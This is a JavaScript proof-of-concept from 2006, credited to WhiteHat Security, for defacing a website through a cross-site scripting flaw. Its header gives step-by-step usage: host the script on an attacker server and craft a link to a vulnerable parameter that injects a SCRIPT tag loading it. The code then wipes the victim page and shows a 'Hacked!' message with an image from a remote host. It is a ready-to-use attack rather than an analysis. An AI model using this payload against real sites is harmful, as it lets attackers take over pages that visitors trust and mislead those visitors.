/*
NAME: (Proof-of-Concept) Cross-Site Scripting Defacement
DESCRIPTION: Deface a website using a XSS vulnerability. The current DOM
is cleared and an image with text is put in its place.
VERSION: 1.0
AUTHOR: Jeremiah Grossman, Founder and CTO of WhiteHat Security, Inc.
NOTE: Only tested in Firefox


USAGE: (Additional onfiguration below)

1) Place this JavaScript file in a remotely available location. Note its URL.
Example: http://attacker/xss_deface.js

2) Find a web application parameter thats vulnerable to XSS.
Example: http://victim/app.cgi?vuln=foo

3) Create a specially crafted XSS link by placing an HTML SCRIPT tag 
into the value of the vulnerable parameter. The SCRIPT tag must have a SRC
attribute with the JavaScript file URL to the from step #1.

Example:
http://victim/app.cgi?vuln=<SCRIPT SRC="http://attacker/defacement.js"></SCRIPT>



DONE. If nothing broke, anyone who clicks on this link will see the defacement.




BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without 
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, 
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, 
this list of conditions and the following disclaimer in the documentation 
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors 
may be used to endorse or promote products derived from this software 
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 
THE POSSIBILITY OF SUCH DAMAGE.
*/


/* Change the following variables to the customize the defacement page. */

/* title of the web page */
var title = "(Proof-of-Concept) Cross-Site Scripting Defacement";

/* background color of the web page */
var bgcolor = "#000000";

/* image URL to display */
var image_url = "http://hacker/files/stallowned.jpg";

/* defacement text to display on the web page */
var text = "This page has been Hacked!";

/* defacement text to display on the web page */
var font_color = "#FF0000";




/*--- [method: deface] ---------------------------------------------------#
# Description: Clear the current DOM and deface the page 					#
-------------------------------------------------------------------------*/
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {

	// set the title
	document.title = pageTitle;
	
	// clear the visible page
	document.body.innerHTML = '';

	// set background color
	document.bgColor = bgColor;
	
	// overlay div block
	var overLay = document.createElement("div");
	overLay.style.textAlign = 'center';
	document.body.appendChild(overLay);
	
	// the defacement text
	var txt = document.createElement("p");
	txt.style.font = 'normal normal bold 36px Verdana';
	txt.style.color = fontColor;
	txt.innerHTML = pageText;
	overLay.appendChild(txt);
	
	// the defacement image	
	if (image_url != "") {
		var newImg = document.createElement("img");
		newImg.setAttribute("border", '0');
		newImg.setAttribute("src", imageUrl);
		overLay.appendChild(newImg);
	}
	
	// the footer text
	var footer = document.createElement("p");
	footer.style.font = 'italic normal normal 12px Verdana';
	footer.style.color = '#DDDDDD';
	footer.innerHTML = '(Proof-of-Concept) Cross-Site Scripting Defacement';
	overLay.appendChild(footer);
	
} // end deface method